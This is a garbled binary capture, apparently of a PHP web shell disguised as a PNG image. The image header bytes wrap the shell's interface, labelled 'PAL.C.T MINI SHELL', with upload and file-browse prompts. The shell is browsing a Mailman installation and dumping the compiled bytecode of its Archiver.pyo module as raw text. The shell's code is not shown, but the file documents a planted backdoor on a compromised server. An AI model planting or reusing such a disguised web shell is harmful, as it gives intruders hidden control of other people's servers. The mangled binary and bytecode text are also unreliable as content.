php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Archiver/
upload
files >> //usr/lib/mailman/Mailman/Archiver/Archiver.pyo

Pc@sdZddkZddkZddkZddkZddklZddklZddkl	Z	ddkl
Z
ddklZddkl
Z
dd	klZdd
klZyeefWnej
odZdZnXd
ZdZdddYZdS(sMixin class for putting new messages in the right place for archival.

Public archives are separated from private ones.  An external archival
mechanism (eg, pipermail) should be pointed to the right places, to do the
archival.
iN(tStringIO(tmm_cfg(tMailbox(tUtils(tSite(tSafeDict(tsyslog(t_iicCsJyti||Wn/tj
o#}|itijoqFnXdS(N(tostsymlinktOSErrorterrnotEEXIST(toldtnewte((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pytmakelink/s
cCsGyti|Wn/tj
o#}|itijoqCnXdS(N(RtunlinkR
RtENOENT(tlinkR((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pyt	breaklink6s
tArchivercBsYeZdZdZdZdZdZdZdZdZ	dZ
RS(	cCsti|_ti|_ti|_tid}zyti	|i
ddWn/tj
o#}|iti
joqnXyti	|i
dWn/tj
o#}|iti
joqnXtii|i
d}d}yt|}Wntj
o}|itijontid}zt|d}Wdti|X|itidh|id6|id	d
dd	6d|nX|o|inWdti|XdS(
Nis.mboxis
index.htmlitwsemptyarchive.htmltlistnametlistinfotabsoluteitmlist(RtDEFAULT_ARCHIVEtarchivetDEFAULT_ARCHIVE_PRIVATEtarchive_privatet DEFAULT_ARCHIVE_VOLUME_FREQUENCYtarchive_volume_frequencyRtumasktmkdirtarchive_dirR
RRtpathtjointNonetopentIOErrorRtwriteRtmaketextt	real_nametGetScriptURLtclose(tselftomaskRt	indexfiletfp((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pytInitVarsDsD
cCsti|iS(N(Rtget_archpatht
internal_name(R.((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pyR#scCs'tii|id|idS(s?The mbox name where messages are left for archive construction.s.mbox(RR$R%R#R4(R.((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pytArchiveFileNamescCs|idddd}|io|Stid|idpti}tih|id6|d6}|i	dp|d7}n|SdS(NtprivateRit/s[^:]*://([^/]*)/.*Rthostname(
R,RtretmatchtgroupRtDEFAULT_URL_HOSTtPUBLIC_ARCHIVE_URLR4tendswith(R.turlR8((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pytGetBaseArchiveURLs
		
cCs>tid}ztit|dSWdti|XdS(s5Open (creating, if necessary) the named archive file.isa+N(RR!RR'(R.tafnR/((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pyt__archive_filescCsky9|i}|i|}|i||iiWn+tj
o}tdd||nXdS(s2Retain a text copy of the message in an mbox file.terrors#Archive file access failure:
	%s %sN(R5t_Archiver__archive_filet
AppendMessageR1R-R(R(R.tpostRAtmboxtmsg((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pyt__archive_to_mboxs
cCsth|id6|id6}||}ti|d}|i||i}|otdd|d@d?ndS(NRR8RRCs+external archiver non-zero exit status: %d
ii(RR4t	host_nameRtpopenR)R-R(R.tarttxttdtcmdtextarchtstatus((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pytExternalArchives

	cCstidjodStidjo&|i|tidjodSnt|}|i}tio|o|iti|nqtio|o|iti|nIt|}ddk	}|i
|}|i||i|idS(s;Store postings in mbox and/or pipermail archive, depending.iNii(ii(
RtARCHIVE_TO_MBOXt_Archiver__archive_to_mboxtstrRtPUBLIC_EXTERNAL_ARCHIVERRRtPRIVATE_EXTERNAL_ARCHIVERRt	HyperArchtHyperArchivetprocessUnixMailboxR-(R.RHRMt	private_ptfRXth((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pytArchiveMails$
		

cCstidjodSti|idt}|i}|d}|d}|iot|t|n)t	||ti
ot	||ndS(Nitpublics.mbox(RRSRR3R4tTrueR#RRRtPUBLIC_MBOX(R.tpubdirtprivdirtpubmboxtprivmbox((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pytCheckHTMLArchiveDirs





(t__name__t
__module__R2R#R5R@RDRTRRR^Rf(((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pyR?s	>							 ((t__doc__RRt	tracebackR9t	cStringIORtMailmanRRRRtMailman.SafeDictRtMailman.Logging.SyslogRtMailman.i18nRR`tFalset	NameErrorRRR(((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/Archiver.pyt<module>s(			
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`